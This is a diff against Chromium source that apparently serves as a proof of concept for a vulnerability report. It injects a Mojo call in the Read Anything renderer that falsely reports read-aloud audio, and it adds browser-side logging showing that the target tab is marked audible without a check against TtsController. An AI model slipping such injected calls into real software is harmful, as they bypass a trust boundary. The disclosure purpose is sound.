diff --git a/chrome/browser/ui/webui/side_panel/read_anything/read_anything_untrusted_page_handler.cc b/chrome/browser/ui/webui/side_panel/read_anything/read_anything_untrusted_page_handler.cc index 48171adf0f59c..0fbcc9b5d87c9 100644 --- a/chrome/browser/ui/webui/side_panel/read_anything/read_anything_untrusted_page_handler.cc +++ b/chrome/browser/ui/webui/side_panel/read_anything/read_anything_untrusted_page_handler.cc @@ -956,6 +956,23 @@ void ReadAnythingUntrustedPageHandler::OnReadAloudAudioStateChange( content::WebContents* contents = !!pdf_observer_ ? pdf_observer_->web_contents() : main_observer_->web_contents(); + // ==== POC OBSERVATION (browser process) ==== + // Logging only — no behavior change. Demonstrates that the renderer-asserted + // bool is trusted with zero cross-check against TtsController. + const bool tts_speaking = content::TtsController::GetInstance()->IsSpeaking(); + LOG(ERROR) << "[POC-BROWSER pid=" << getpid() + << "] OnReadAloudAudioStateChange(playing=" << playing + << ") received from chrome-untrusted renderer"; + LOG(ERROR) << "[POC-BROWSER] TtsController::IsSpeaking() = " + << tts_speaking + << " <-- browser-side ground truth (NOT checked)"; + if (contents) { + LOG(ERROR) << "[POC-BROWSER] target-tab URL = " + << contents->GetLastCommittedURL().spec(); + LOG(ERROR) << "[POC-BROWSER] target-tab IsCurrentlyAudible BEFORE = " + << contents->IsCurrentlyAudible(); + } + // ==== END POC OBSERVATION ==== if (contents) { if (playing) { audible_closure_ = contents->MarkAudible(); @@ -963,6 +980,16 @@ void ReadAnythingUntrustedPageHandler::OnReadAloudAudioStateChange( audible_closure_.RunAndReset(); } } + // ==== POC OBSERVATION (post) ==== + if (contents) { + LOG(ERROR) << "[POC-BROWSER] target-tab IsCurrentlyAudible AFTER = " + << contents->IsCurrentlyAudible(); + if (playing && !tts_speaking && contents->IsCurrentlyAudible()) { + LOG(ERROR) << "[POC-BROWSER] *** VULN CONFIRMED: target tab marked " + "audible while TtsController::IsSpeaking()==false ***"; + } + } + // ==== END POC OBSERVATION ==== } void ReadAnythingUntrustedPageHandler::OnLinkClicked( diff --git a/chrome/renderer/accessibility/read_anything/read_anything_app_controller.cc b/chrome/renderer/accessibility/read_anything/read_anything_app_controller.cc index 389b0cb31ea4d..cc0eeeacb5ab7 100644 --- a/chrome/renderer/accessibility/read_anything/read_anything_app_controller.cc +++ b/chrome/renderer/accessibility/read_anything/read_anything_app_controller.cc @@ -2251,6 +2251,20 @@ void ReadAnythingAppController::OnConnected() { weak_ptr_factory_.GetWeakPtr())); SetDistillationState( read_anything::mojom::ReadAnythingDistillationState::kNotAttempted); + + // ==== POC INJECTION: simulated compromised chrome-untrusted renderer ==== + // A real attacker with renderer RCE in chrome-untrusted://read-anything would + // hold this same `page_handler_` Mojo remote and could send this IPC at will. + // We send OnReadAloudAudioStateChange(true) WITHOUT ever calling + // window.speechSynthesis.speak(), so TtsController::IsSpeaking() in the + // browser process is false. The browser performs no validation and marks the + // *target tab* (a different WebContents/renderer) as audible. + LOG(ERROR) << "[POC-RENDERER pid=" << getpid() + << "] chrome-untrusted renderer sending " + "UntrustedPageHandler::OnReadAloudAudioStateChange(true) " + "over Mojo with NO speechSynthesis activity"; + page_handler_->OnReadAloudAudioStateChange(true); + // ==== END POC INJECTION ==== } void ReadAnythingAppController::OnCopy() const { diff --git a/ui/views/win/OWNERS b/ui/views/win/OWNERS index af1b18e77e424..4d819f1c13eaa 100644 --- a/ui/views/win/OWNERS +++ b/ui/views/win/OWNERS @@ -1,2 +1,2 @@ -davidbienvenu@chromium.org +davidbienvenu@chromium.org jessemckenna@google.com \ No newline at end of file